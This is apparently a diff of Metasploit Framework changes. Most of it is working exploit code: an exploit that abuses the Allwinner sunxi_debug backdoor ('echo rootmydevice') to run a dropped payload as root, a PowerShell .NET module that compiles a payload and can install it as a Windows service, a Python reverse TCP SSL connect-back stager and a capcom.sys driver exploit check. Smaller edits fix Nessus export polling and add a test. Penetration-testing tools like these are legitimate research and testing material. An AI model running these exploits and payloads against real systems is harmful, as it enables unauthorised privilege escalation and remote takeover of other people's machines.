|
||||
|
@ -38,26 +46,36 @@ class MetasploitModule < Msf::Post
|
|||
"https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"],
|
||||
[ "URL", "http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390"]
|
||||
],
|
||||
"SessionTypes" => [ "shell", "meterpreter" ]
|
||||
"SessionTypes" => [ "shell", "meterpreter" ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Auto', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
backdoor = "/proc/sunxi_debug/sunxi_debug"
|
||||
def check
|
||||
backdoor = '/proc/sunxi_debug/sunxi_debug'
|
||||
if file_exist?(backdoor)
|
||||
vprint_good "Backdoor found, exploiting."
|
||||
cmd_exec("echo rootmydevice > #{backdoor}")
|
||||
if is_root?
|
||||
print_good "Privilege Escalation Successful"
|
||||
report_vuln(
|
||||
host: session.session_host,
|
||||
name: self.name,
|
||||
refs: self.references,
|
||||
info: 'Escalated to root shell via Allwinner backdoor'
|
||||
)
|
||||
else
|
||||
print_error "Privilege Escalation FAILED"
|
||||
end
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
backdoor = '/proc/sunxi_debug/sunxi_debug'
|
||||
if file_exist?(backdoor)
|
||||
pl = generate_payload_exe
|
||||
|
||||
exe_file = "/tmp/#{rand_text_alpha(5)}.elf"
|
||||
vprint_good "Backdoor Found, writing payload to #{exe_file}"
|
||||
write_file(exe_file, pl)
|
||||
cmd_exec("chmod +x #{exe_file}")
|
||||
|
||||
vprint_good 'Escalating'
|
||||
cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}")
|
||||
else
|
||||
print_error "Backdoor #{backdoor} not found."
|
||||
end
|
|
@ -71,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
data = cmd_psh_payload(payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
remove_comspec: true,
|
||||
use_single_quotes: true
|
||||
exec_in_place: true
|
||||
)
|
||||
else
|
||||
data = %Q(#{payload.encoded} )
|
||||
|
|
|
@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Privileged' => true,
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd cmd_bash',
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic openssl'
|
||||
}
|
||||
},
|
||||
|
|
|
@ -69,7 +69,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
)
|
||||
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::Unreachable, 'Failed to enable the vulnerable V3 functionality')
|
||||
if res
|
||||
fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
|
||||
else
|
||||
fail_with(Failure::Unreachable, 'Connection timed out.')
|
||||
end
|
||||
end
|
||||
|
||||
vprint_good 'Enabled V3 functionality'
|
||||
|
@ -85,6 +89,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
if res && res.code == 200
|
||||
vprint_good 'Disabled V3 functionality'
|
||||
elsif !res
|
||||
print_error('Connection timed out while disabling V3 functionality')
|
||||
else
|
||||
print_error 'Failed to disable the vulnerable V3 functionality'
|
||||
end
|
||||
|
|
|
@ -51,21 +51,28 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] !~ /windows 7/i
|
||||
if sysinfo['OS'] !~ /windows (7|8)/i
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if sysinfo['Architecture'] =~ /(wow|x)64/i
|
||||
arch = ARCH_X86_64
|
||||
else
|
||||
if sysinfo['Architecture'] !~ /(wow|x)64/i
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
file_path = expand_path('%windir%') << '\\system32\\capcom.sys'
|
||||
return Exploit::CheckCode::Safe unless file_exist?(file_path)
|
||||
# Validate that the driver has been loaded and that
|
||||
# the version is the same as the one expected
|
||||
client.sys.config.getdrivers.each do |d|
|
||||
if d[:basename].downcase == 'capcom.sys'
|
||||
expected_checksum = '73c98438ac64a68e88b7b0afd11ba140'
|
||||
target_checksum = client.fs.file.md5(d[:filename])
|
||||
|
||||
# TODO: check for the capcom.sys driver and its version.
|
||||
return Exploit::CheckCode::Appears
|
||||
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
|
@ -0,0 +1,189 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'msf/core/post/windows/powershell'
|
||||
require 'msf/core/exploit/powershell/dot_net'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::Windows::Services
|
||||
include Msf::Post::Windows::Powershell
|
||||
include Msf::Post::Windows::Powershell::DotNet
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Powershell Payload Execution",
|
||||
'Description' => %q{
|
||||
This module generates a dynamic executable on the session host using .NET templates.
|
||||
Code is pulled from C# templates and impregnated with a payload before being
|
||||
sent to a modified PowerShell session with .NET 4 loaded. The compiler builds
|
||||
the executable (standard or Windows service) in memory and produces a binary
|
||||
which can be started/installed and downloaded for later use. After compilation the
|
||||
PoweShell session can also sign the executable if provided a path the a .pfx formatted
|
||||
certificate.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu
|
||||
'Matt "hostess" Andreko' # .NET harness, and requested modifications
|
||||
],
|
||||
|
||||
'Payload' =>
|
||||
{
|
||||
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
||||
'EncoderOptions' =>
|
||||
{
|
||||
'BufferRegister' => 'EAX',
|
||||
},
|
||||
},
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [ [ 'Universal', {} ] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Aug 14 2012'
|
||||
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),
|
||||
OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),
|
||||
OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),
|
||||
OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),
|
||||
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),
|
||||
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
|
||||
OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
|
||||
OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]),
|
||||
OptString.new('USERNAME', [false, 'Windows username']),
|
||||
OptString.new('PASSWORD', [false, 'Windows user password - cleartext']),
|
||||
OptString.new('DOMAIN', [false, 'Windows domain or workstation name']),
|
||||
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
# Make sure we meet the requirements before running the script
|
||||
if !(session.type == "meterpreter" || have_powershell?)
|
||||
print_error("Incompatible Environment")
|
||||
return
|
||||
end
|
||||
# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
|
||||
if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
|
||||
print_error("Cannot run as system")
|
||||
return
|
||||
end
|
||||
|
||||
# End of file marker
|
||||
eof = Rex::Text.rand_text_alpha(8)
|
||||
env_suffix = Rex::Text.rand_text_alpha(8)
|
||||
|
||||
com_opts = {}
|
||||
com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session
|
||||
com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
|
||||
com_opts[:payload] = payload_script #payload.encoded
|
||||
vprint_good com_opts[:payload].length.to_s
|
||||
|
||||
if datastore['SVC_GEN']
|
||||
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
|
||||
com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll']
|
||||
else
|
||||
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe','dot_net_exe.cs')
|
||||
end
|
||||
|
||||
com_opts[:cert] = datastore['CERT_PATH']
|
||||
|
||||
if datastore['SVC_REMOVE']
|
||||
remove_dyn_service(com_opts[:target])
|
||||
return
|
||||
end
|
||||
vprint_good("Writing to #{com_opts[:target]}")
|
||||
|
||||
com_script = dot_net_compiler(com_opts)
|
||||
ps_out = psh_exec(com_script)
|
||||
|
||||
if datastore['Powershell::Post::dry_run']
|
||||
print_good com_script
|
||||
print_error ps_out
|
||||
return
|
||||
end
|
||||
# Check for result
|
||||
begin
|
||||
size = session.fs.file.stat(com_opts[:target].gsub('\\','\\\\')).size
|
||||
vprint_good("File #{com_opts[:target].gsub('\\','\\\\')} found, #{size}kb")
|
||||
rescue
|
||||
print_error("File #{com_opts[:target].gsub('\\','\\\\')} not found")
|
||||
return
|
||||
end
|
||||
|
||||
# Run the harness
|
||||
if datastore['START_APP']
|
||||
if datastore['SVC_GEN']
|
||||
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)
|
||||
if service_start(datastore['SVC_NAME']).to_i == 0
|
||||
vprint_good("Service Started")
|
||||
end
|
||||
else
|
||||
session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
print_good('Finished!')
|
||||
end
|
||||
|
||||
|
||||
# This should be handled by the exploit mixin, right?
|
||||
def payload_script
|
||||
pay_mod = framework.payloads.create(datastore['PAYLOAD'])
|
||||
payload = pay_mod.generate_simple(
|
||||
"BadChars" => '',
|
||||
"Format" => 'raw',
|
||||
"Encoder" => 'x86/alpha_mixed',
|
||||
"ForceEncode" => true,
|
||||
"Options" =>
|
||||
{
|
||||
'LHOST' => datastore['LHOST'],
|
||||
'LPORT' => datastore['LPORT'],
|
||||
'EXITFUNC' => 'thread',
|
||||
'BufferRegister' => 'EAX'
|
||||
},
|
||||
)
|
||||
|
||||
# To ensure compatibility out payload should be US-ASCII
|
||||
return payload.encode('ASCII')
|
||||
end
|
||||
|
||||
# Local service functionality should probably be replaced with upstream Post
|
||||
def remove_dyn_service(file_path)
|
||||
service_stop(datastore['SVC_NAME'])
|
||||
if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0
|
||||
vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\','\\\\')}")
|
||||
session.fs.file.rm(file_path.gsub('\\','\\\\'))
|
||||
else
|
||||
print_error("Something went wrong, not deleting #{file_path.gsub('\\','\\\\')}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
def install_dyn_service(file_path)
|
||||
|
||||
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\','\\\\'), startup=2, server=nil)
|
||||
if service_start(datastore['SVC_NAME']).to_i == 0
|
||||
vprint_good("Service Binary #{file_path} Started")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -5,6 +5,7 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/payload/android'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_android'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
|
|
@ -0,0 +1,30 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
require 'msf/core/payload/python/reverse_tcp_ssl'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 378
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Python::ReverseTcpSsl
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Python Reverse TCP SSL Stager',
|
||||
'Description' => 'Reverse Python connect back stager using SSL',
|
||||
'Author' => ['Ben Campbell', 'RageLtMan'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,124 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/windows/powershell'
|
||||
require 'msf/core/exploit/powershell/dot_net'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::Windows::Powershell
|
||||
include Msf::Exploit::Powershell::DotNet
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => "Powershell .NET Compiler",
|
||||
'Description' => %q(
|
||||
This module will build a .NET source file using powershell. The compiler builds
|
||||
the executable or library in memory and produces a binary. After compilation the
|
||||
PowerShell session can also sign the executable if provided a path the
|
||||
a .pfx formatted certificate. Compiler options and a list of assemblies
|
||||
required can be configured in the datastore.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [ [ 'Universal', {} ] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Aug 14 2012'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('SOURCE_FILE', [true, 'Path to source code']),
|
||||
OptBool.new('RUN_BINARY', [false, 'Execute the generated binary', false]),
|
||||
OptString.new('ASSEMBLIES', [false, 'Any assemblies outside the defaults', "mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll" ]),
|
||||
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated binary, default random, omit extension' ]),
|
||||
OptString.new('COMPILER_OPTS', [false, 'Options to pass to compiler', '/optimize']),
|
||||
OptString.new('CODE_PROVIDER', [true, 'Code provider to use', 'Microsoft.CSharp.CSharpCodeProvider'])
|
||||
], self.class
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('NET_CLR_VER', [false, 'Minimum NET CLR version required to compile', '4.0'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
# Make sure we meet the requirements before running the script
|
||||
unless session.type == "meterpreter" || have_powershell?
|
||||
print_error "Incompatible Environment"
|
||||
return 0
|
||||
end
|
||||
|
||||
# Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either
|
||||
if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
|
||||
print_error "Cannot run as system"
|
||||
return 0
|
||||
end
|
||||
|
||||
# End of file marker
|
||||
eof = Rex::Text.rand_text_alpha(8)
|
||||
env_suffix = Rex::Text.rand_text_alpha(8)
|
||||
net_com_opts = {}
|
||||
net_com_opts[:target] =
|
||||
datastore['OUTPUT_TARGET'] ||
|
||||
"#{session.fs.file.expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(8) + 8)}.exe"
|
||||
net_com_opts[:com_opts] = datastore['COMPILER_OPTS']
|
||||
net_com_opts[:provider] = datastore['CODE_PROVIDER']
|
||||
net_com_opts[:assemblies] = datastore['ASSEMBLIES']
|
||||
net_com_opts[:net_clr] = datastore['NET_CLR_VER']
|
||||
net_com_opts[:cert] = datastore['CERT_PATH']
|
||||
|
||||
begin
|
||||
net_com_opts[:harness] = ::File.read(datastore['SOURCE_FILE'])
|
||||
script = dot_net_compiler(net_com_opts)
|
||||
if datastore['Powershell::Post::dry_run']
|
||||
print_good "Compiler code:\n#{script}"
|
||||
return
|
||||
end
|
||||
rescue => e
|
||||
print_error e
|
||||
return
|
||||
end
|
||||
|
||||
vprint_good "Writing to #{net_com_opts[:target]}"
|
||||
|
||||
# Execute the powershell script
|
||||
print_status 'Building remote code.'
|
||||
cmd_out, running_pids, open_channels = execute_script(script, true)
|
||||
get_ps_output(cmd_out, eof)
|
||||
vprint_good "Cleaning up #{running_pids.join(', ')}"
|
||||
|
||||
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
|
||||
|
||||
# Check for result
|
||||
begin
|
||||
size = session.fs.file.stat(net_com_opts[:target].gsub('\\', '\\\\')).size
|
||||
print_good "File #{net_com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb"
|
||||
rescue
|
||||
print_error "File #{net_com_opts[:target].gsub('\\', '\\\\')} not found," \
|
||||
" NET CLR version #{datastore['NET_CLR_VER']} possibly not available"
|
||||
return
|
||||
end
|
||||
|
||||
# Run the result
|
||||
if datastore['RUN_BINARY']
|
||||
cmd_out = session.sys.process.execute(net_com_opts[:target].gsub('\\', '\\\\'),
|
||||
nil, 'Hidden' => true, 'Channelized' => true)
|
||||
while (out = cmd_out.channel.read)
|
||||
print_good out
|
||||
end
|
||||
end
|
||||
|
||||
print_good 'Finished!'
|
||||
end
|
||||
end
|
|
@ -1174,8 +1174,15 @@ module Msf
|
|||
file_id = export["file"]
|
||||
print_good("The export file ID for scan ID #{scan_id} is #{file_id}")
|
||||
print_status("Checking export status...")
|
||||
status = @n.scan_export_status(scan_id, file_id)
|
||||
if status == "ready"
|
||||
begin
|
||||
status = @n.scan_export_status(scan_id, file_id)
|
||||
print_status("Export status: " + status["status"])
|
||||
if status["status"]=="ready"
|
||||
break
|
||||
end
|
||||
sleep(1)
|
||||
end while (status["status"]=="loading")
|
||||
if status["status"] == "ready"
|
||||
print_status("The status of scan ID #{scan_id} export is ready")
|
||||
select(nil, nil, nil, 5)
|
||||
report = @n.report_download(scan_id, file_id)
|
||||
|
@ -1450,8 +1457,15 @@ module Msf
|
|||
file_id = export["file"]
|
||||
print_good("The export file ID for scan ID #{scan_id} is #{file_id}")
|
||||
print_status("Checking export status...")
|
||||
status = @n.scan_export_status(scan_id, file_id)
|
||||
if status == "ready"
|
||||
begin
|
||||
status = @n.scan_export_status(scan_id, file_id)
|
||||
print_status("Export status: " + status["status"])
|
||||
if status["status"]=="ready"
|
||||
break
|
||||
end
|
||||
sleep(1)
|
||||
end while (status["status"]=="loading")
|
||||
if status["status"] == "ready"
|
||||
print_good("The status of scan ID #{scan_id} export is ready")
|
||||
else
|
||||
print_error("There was some problem in exporting the scan. The error message is #{status}")
|
||||
|
@ -1477,8 +1491,15 @@ module Msf
|
|||
when 2
|
||||
scan_id = args[0]
|
||||
file_id = args[1]
|
||||
status = @n.scan_export_status(scan_id, file_id)
|
||||
if status == "ready"
|
||||
begin
|
||||
status = @n.scan_export_status(scan_id, file_id)
|
||||
print_status("Export status: " + status["status"])
|
||||
if status["status"]=="ready"
|
||||
break
|
||||
end
|
||||
sleep(1)
|
||||
end while (status["status"]=="loading")
|
||||
if status["status"] == "ready"
|
||||
print_status("The status of scan ID #{scan_id} export is ready")
|
||||
else
|
||||
print_error("There was some problem in exporting the scan. The error message is #{status}")
|
||||
|
|
|
@ -2284,6 +2284,17 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'python/meterpreter/reverse_tcp'
|
||||
end
|
||||
|
||||
context 'python/meterpreter/reverse_tcp_ssl' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/python/reverse_tcp_ssl',
|
||||
'stages/python/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'python/meterpreter/reverse_tcp_ssl'
|
||||
end
|
||||
|
||||
context 'python/meterpreter/reverse_tcp_uuid' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
|
Loading…
Reference in New Issue